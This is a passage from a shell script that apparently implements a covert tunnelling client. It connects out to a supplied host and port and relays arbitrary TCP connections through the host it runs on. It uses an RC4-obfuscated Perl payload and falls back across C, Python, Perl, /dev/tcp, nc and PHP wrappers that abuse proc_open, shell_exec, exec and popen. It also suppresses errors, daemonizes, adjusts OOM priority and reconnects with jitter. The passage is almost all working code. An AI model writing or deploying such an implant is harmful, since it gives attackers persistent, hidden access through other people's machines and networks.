    if [ -e /dev/tcp ]; then
        exec 3<>/dev/tcp/"$host"/"$port" 2>/dev/null
        if [ $? -eq 0 ]; then
            # Send handshake (simplified)
            key=$(head -c 50 /dev/urandom 2>/dev/null | od -An -tx1 | tr -d ' \n' | head -c 100)
            printf '%s' "$key" >&3
            
            # Heartbeat loop
            while true; do
                printf '\x00\x00\x00' >&3 2>/dev/null || break
                sleep 15
            done
            exec 3<&-
        fi
    elif command -v nc >/dev/null 2>&1; then
        # Use nc for connection
        (
            while true; do
                printf '\x00\x00\x00'
                sleep 15
            done
        ) | nc "$host" "$port" 2>/dev/null
    fi
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════════════════
# PHP WRAPPER CLIENTS
# ═══════════════════════════════════════════════════════════════════════════════════

run_php_python_client() {
    host="$1"
    port="$2"
    name="$3"
    
    if ! command -v php >/dev/null 2>&1; then
        log_error "PHP not available"
        return 1
    fi
    
    compile_dir=$(get_compile_dir)
    wrapper="$compile_dir/php_py_wrapper_$$.php"
    
    # Generate wrapper
    cat > "$wrapper" << PHPEOF
<?php
error_reporting(0);
set_time_limit(0);
ignore_user_abort(true);

\$python_code = <<<'PYTHON'
$(get_python_code)
PYTHON;

function try_exec(\$code, \$args) {
    \$methods = array(
        'proc_open' => function(\$code, \$args) {
            if (!function_exists('proc_open')) return false;
            \$desc = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
            foreach (array('python3', 'python', '/usr/bin/python3', '/usr/bin/python') as \$py) {
                \$proc = @proc_open("\$py - \$args", \$desc, \$pipes);
                if (is_resource(\$proc)) {
                    fwrite(\$pipes[0], \$code);
                    fclose(\$pipes[0]);
                    stream_get_contents(\$pipes[1]);
                    fclose(\$pipes[1]);
                    fclose(\$pipes[2]);
                    \$ret = proc_close(\$proc);
                    return true;
                }
            }
            return false;
        },
        'shell_exec' => function(\$code, \$args) {
            if (!function_exists('shell_exec')) return false;
            \$tmp = tempnam(sys_get_temp_dir(), 'ipy_');
            file_put_contents(\$tmp, \$code);
            chmod(\$tmp, 0755);
            @shell_exec("python3 \$tmp \$args > /dev/null 2>&1 &");
            @shell_exec("python \$tmp \$args > /dev/null 2>&1 &");
            return true;
        },
        'exec' => function(\$code, \$args) {
            if (!function_exists('exec')) return false;
            \$tmp = tempnam(sys_get_temp_dir(), 'ipy_');
            file_put_contents(\$tmp, \$code);
            chmod(\$tmp, 0755);
            @exec("python3 \$tmp \$args > /dev/null 2>&1 &");
            return true;
        },
        'popen' => function(\$code, \$args) {
            if (!function_exists('popen')) return false;
            \$tmp = tempnam(sys_get_temp_dir(), 'ipy_');
            file_put_contents(\$tmp, \$code);
            chmod(\$tmp, 0755);
            \$h = @popen("python3 \$tmp \$args", 'r');
            if (\$h) { pclose(\$h); return true; }
            return false;
        }
    );
    
    foreach (\$methods as \$name => \$func) {
        if (\$func(\$code, \$args)) return \$name;
    }
    return false;
}

\$result = try_exec(\$python_code, "$host $port ${name}_phppy");
echo \$result ? "OK:\$result" : "FAIL";
PHPEOF

    log_info "Running Python via PHP wrapper..."
    result=$(php "$wrapper" 2>/dev/null)
    rm -f "$wrapper"
    
    if echo "$result" | grep -q "^OK"; then
        log_ok "PHP wrapper started Python: $result"
        # Wait for the background process
        sleep 300
        return 0
    fi
    
    log_error "PHP wrapper failed: $result"
    return 1
}

run_php_perl_client() {
    host="$1"
    port="$2"
    name="$3"
    
    if ! command -v php >/dev/null 2>&1; then
        log_error "PHP not available"
        return 1
    fi
    
    compile_dir=$(get_compile_dir)
    wrapper="$compile_dir/php_pl_wrapper_$$.php"
    
    cat > "$wrapper" << 'PHPEOF'
<?php
error_reporting(0);
set_time_limit(0);

$perl_code = <<<'PERL'
use strict;use warnings;use IO::Socket::INET;use IO::Select;
$|=1;$SIG{PIPE}='IGNORE';
my($h,$p,$n)=@ARGV;exit unless$h&&$p;
my@k=map{int(rand(256))}1..50;my%st;my$run=1;my$last=time;

sub rc4{my$d=shift;my@d=unpack('C*',$d);my$nn=@d;return''if!$nn;
my@s=0..255;my$j=0;$d[$_]^=$k[$_%50]for 0..$nn-1;
for(0..255){$j=($j+$s[$_]+$k[$_%50])&255;@s[$_,$j]=@s[$j,$_]}
my($ii,$jj)=(0,0);
for my$x(0..$nn-1){$ii=($ii+1)&255;$jj=($jj+$s[$ii])&255;@s[$ii,$jj]=@s[$jj,$ii];$d[$x]^=$s[($s[$ii]+$s[$jj])&255]}
$d[$_]^=$k[$_%50]for 0..$nn-1;pack('C*',@d)}

my$tun=IO::Socket::INET->new(PeerAddr=>$h,PeerPort=>$p,Proto=>'tcp',Timeout=>30)or exit;
$tun->setsockopt(6,1,1);
my@info=(0xFF,0xFF,(0)x48);my@nb=unpack('C*',substr($n||'perl',0,11));$info[4+$_]=$nb[$_]for 0..$#nb;
syswrite($tun,pack('C*',@k).rc4(pack('C*',@info)));
$tun->blocking(0);$last=time;

my$sel=IO::Select->new($tun);my$rbuf='';my$lasthb=time;

while($run){
    if(time-$lasthb>=15){syswrite($tun,rc4(pack('CCC',0,0,0)));$lasthb=time;last if time-$last>60}
    my@r=$sel->can_read(1);
    for my$fh(@r){
        if($fh==$tun){
            my$d;my$n=sysread($tun,$d,262144);last if!$n;$rbuf.=$d;$last=time;
            while(length($rbuf)>=4){
                my@hdr=unpack('C4',substr($rbuf,0,4));my$dec=rc4(pack('C4',@hdr));@hdr=unpack('C4',$dec);
                my($cmd,$sid,$dlen)=($hdr[0],$hdr[1],($hdr[2]<<8)|$hdr[3]);
                last if length($rbuf)<4+$dlen;my$pb=substr($rbuf,4,$dlen);$pb=rc4($pb)if$dlen>0;substr($rbuf,0,4+$dlen)='';
                if($cmd==0&&$sid>0){
                    my@p=unpack('C*',$pb);my($host,$port)=('',0);
                    if($p[0]==1&&@p>=7){$host=join('.',@p[1..4]);$port=($p[5]<<8)|$p[6]}
                    elsif($p[0]==3&&@p>=4){my$hl=$p[1];$host=pack('C*',@p[2..1+$hl])if@p>=4+$hl;$port=($p[2+$hl]<<8)|$p[3+$hl]if$host}
                    my$status=5;
                    if($host&&$port){my$s=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>$port,Proto=>'tcp',Timeout=>10);if($s){$s->blocking(0);$st{$sid}=$s;$sel->add($s);$status=0}}
                    syswrite($tun,rc4(pack('CCC',$sid,0,1)).rc4(pack('C',$status)))
                }elsif($cmd==1&&$sid>0&&$st{$sid}){syswrite($st{$sid},$pb)}
                elsif($sid>0&&$dlen==0&&$st{$sid}){$sel->remove($st{$sid});$st{$sid}->close;delete$st{$sid}}
            }
        }else{
            my($sid)=grep{$st{$_}&&$st{$_}==$fh}keys%st;next unless$sid;
            my$d;my$n=sysread($fh,$d,262144);
            if(!$n){$sel->remove($fh);$fh->close;delete$st{$sid};syswrite($tun,rc4(pack('CCC',$sid,0,0)));next}
            syswrite($tun,rc4(pack('Cnn',$sid,length($d))).rc4($d))
        }
    }
}
PERL;

function run_perl($code, $args) {
    if (function_exists('proc_open')) {
        $desc = array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w"));
        foreach (array('perl', '/usr/bin/perl') as $pl) {
            $proc = @proc_open("$pl - $args", $desc, $pipes);
            if (is_resource($proc)) {
                fwrite($pipes[0], $code);
                fclose($pipes[0]);
                stream_get_contents($pipes[1]);
                fclose($pipes[1]); fclose($pipes[2]);
                proc_close($proc);
                return true;
            }
        }
    }
    if (function_exists('shell_exec')) {
        $tmp = tempnam(sys_get_temp_dir(), 'ipl_');
        file_put_contents($tmp, $code);
        @shell_exec("perl $tmp $args > /dev/null 2>&1 &");
        return true;
    }
    return false;
}

echo run_perl($perl_code, "HOST_PH PORT_PH NAME_PH") ? "OK" : "FAIL";
PHPEOF

    sed -i "s/HOST_PH/$host/g; s/PORT_PH/$port/g; s/NAME_PH/${name}_phppl/g" "$wrapper"
    
    log_info "Running Perl via PHP wrapper..."
    result=$(php "$wrapper" 2>/dev/null)
    rm -f "$wrapper"
    
    if [ "$result" = "OK" ]; then
        log_ok "PHP wrapper started Perl"
        sleep 300
        return 0
    fi
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════════════════
# FALLBACK RUNNER
# ═══════════════════════════════════════════════════════════════════════════════════

run_with_fallback() {
    host="$1"
    port="$2"
    name="$3"
    
    if [ -n "$FORCE_METHOD" ]; then
        log_info "Forced method: $FORCE_METHOD"
        case "$FORCE_METHOD" in
            c) run_c_client "$host" "$port" "$name" ;;
            python3) run_python_client "$host" "$port" "$name" python3 ;;
            python) run_python_client "$host" "$port" "$name" python ;;
            python2) run_python_client "$host" "$port" "$name" python2 ;;
            perl) run_perl_client "$host" "$port" "$name" ;;
            shell) run_shell_client "$host" "$port" "$name" ;;
            php_python) run_php_python_client "$host" "$port" "$name" ;;
            php_perl) run_php_perl_client "$host" "$port" "$name" ;;
            *) log_error "Unknown method: $FORCE_METHOD"; return 1 ;;
        esac
        return $?
    fi
    
    # Try methods in order of preference
    methods="c python3 python perl php_python php_perl shell"
    
    for method in $methods; do
        tries=0
        while [ $tries -lt $TRIES_PER_METHOD ]; do
            log_info "Trying method: $method (attempt $((tries + 1))/$TRIES_PER_METHOD)"
            
            case "$method" in
                c)
                    if command -v gcc >/dev/null 2>&1; then
                        run_c_client "$host" "$port" "$name" && return 0
                    fi
                    ;;
                python3)
                    if command -v python3 >/dev/null 2>&1; then
                        run_python_client "$host" "$port" "$name" python3 && return 0
                    fi
                    ;;
                python)
                    if command -v python >/dev/null 2>&1; then
                        run_python_client "$host" "$port" "$name" python && return 0
                    fi
                    ;;
                perl)
                    if command -v perl >/dev/null 2>&1; then
                        run_perl_client "$host" "$port" "$name" && return 0
                    fi
                    ;;
                php_python)
                    if command -v php >/dev/null 2>&1; then
                        run_php_python_client "$host" "$port" "$name" && return 0
                    fi
                    ;;
                php_perl)
                    if command -v php >/dev/null 2>&1; then
                        run_php_perl_client "$host" "$port" "$name" && return 0
                    fi
                    ;;
                shell)
                    run_shell_client "$host" "$port" "$name" && return 0
                    ;;
            esac
            
            tries=$((tries + 1))
            [ $tries -lt $TRIES_PER_METHOD ] && sleep 1
        done
    done
    
    return 1
}

# ═══════════════════════════════════════════════════════════════════════════════════
# MULTI-MODE: Run several clients simultaneously
# ═══════════════════════════════════════════════════════════════════════════════════

run_multi_mode() {
    host="$1"
    port="$2"
    name="$3"
    count="$4"
    
    log_info "MULTI MODE: Starting $count clients simultaneously"
    
    # Determine available methods
    available=""
    command -v gcc >/dev/null 2>&1 && available="$available c"
    command -v python3 >/dev/null 2>&1 && available="$available python3"
    command -v python >/dev/null 2>&1 && available="$available python"
    command -v perl >/dev/null 2>&1 && available="$available perl"
    available="$available shell"
    
    log_info "Available methods:$available"
    
    pids=""
    idx=0
    
    for method in $available; do
        [ $idx -ge $count ] && break
        
        client_name="${name}_${method}_${idx}"
        
        log_info "Starting client $idx: $method as $client_name"
        
        (
            while true; do
                case "$method" in
                    c) run_c_client "$host" "$port" "$client_name" ;;
                    python3) run_python_client "$host" "$port" "$client_name" python3 ;;
                    python) run_python_client "$host" "$port" "$client_name" python ;;
                    perl) run_perl_client "$host" "$port" "$client_name" ;;
                    shell) run_shell_client "$host" "$port" "$client_name" ;;
                esac
                
                log_warn "Client $client_name disconnected, reconnecting..."
                sleep 5
            done
        ) &
        
        pids="$pids $!"
        idx=$((idx + 1))
        sleep 1
    done
    
    log_ok "Started $idx clients: PIDs =$pids"
    
    # Wait for all children
    trap 'kill $pids 2>/dev/null; exit 0' INT TERM
    
    # Monitor loop
    while true; do
        sleep 10
        
        # Check if any child died
        for pid in $pids; do
            if ! kill -0 "$pid" 2>/dev/null; then
                log_warn "Client $pid died"
            fi
        done
    done
}

# ═══════════════════════════════════════════════════════════════════════════════════
# MAIN
# ═══════════════════════════════════════════════════════════════════════════════════

main() {
    server=""
    name="${HOSTNAME:-$(hostname 2>/dev/null || echo client)}"
    background=0
    DEBUG=0
    
    while [ $# -gt 0 ]; do
        case "$1" in
            -n) shift; name="$1" ;;
            -m) shift; FORCE_METHOD="$1" ;;
            -M) MULTI_MODE=1 ;;
            -c) shift; MULTI_COUNT="$1" ;;
            -b) background=1; QUIET=1 ;;
            -q) QUIET=1 ;;
            -d) DEBUG=1 ;;
            -h|--help) show_help; exit 0 ;;
            -*) ;;
            *) [ -z "$server" ] && server="$1" ;;
        esac
        shift
    done
    
    [ -z "$server" ] && { show_help; exit 1; }
    
    host=$(echo "$server" | cut -d: -f1)
    port=$(echo "$server" | cut -d: -f2)
    [ -z "$host" ] || [ -z "$port" ] && { echo "Error: Format HOST:PORT"; exit 1; }
    
    # Background mode
    if [ "$background" = "1" ]; then
        if [ "$MULTI_MODE" = "1" ]; then
            daemonize "$server" -n "$name" -q -M -c "$MULTI_COUNT"
        else
            daemonize "$server" -n "$name" -q
        fi
    fi
    
    # System setup
    trap '' HUP PIPE
    trap 'cleanup; exit 0' TERM INT
    
    check_ulimits
    set_oom_score
    create_pidfile "$name"
    wait_for_network || true
    
    print_banner
    log_info "Version: $VERSION"
    log_info "Server: $host:$port"
    log_info "Name: $name"
    log_info "Methods: $(get_methods)"
    [ "$MULTI_MODE" = "1" ] && log_info "MULTI MODE: $MULTI_COUNT clients"
    
    # MULTI MODE
    if [ "$MULTI_MODE" = "1" ]; then
        run_multi_mode "$host" "$port" "$name" "$MULTI_COUNT"
        exit 0
    fi
    
    # SINGLE MODE with reconnect
    restart=0
    delay=$RECONNECT_MIN
    
    while [ $restart -lt $MAX_RESTART ]; do
        t0=$(date +%s)
        
        run_with_fallback "$host" "$port" "$name"
        
        runtime=$(($(date +%s) - t0))
        restart=$((restart + 1))
        
        [ $runtime -gt 300 ] && delay=$RECONNECT_MIN
        
        jitter
        
        log_warn "Disconnected (${runtime}s). Reconnecting in ${delay}s... (restart $restart)"
        sleep $delay
        
        delay=$((delay * 2))
        [ $delay -gt $RECONNECT_MAX ] && delay=$RECONNECT_MAX
    done
}

main "$@"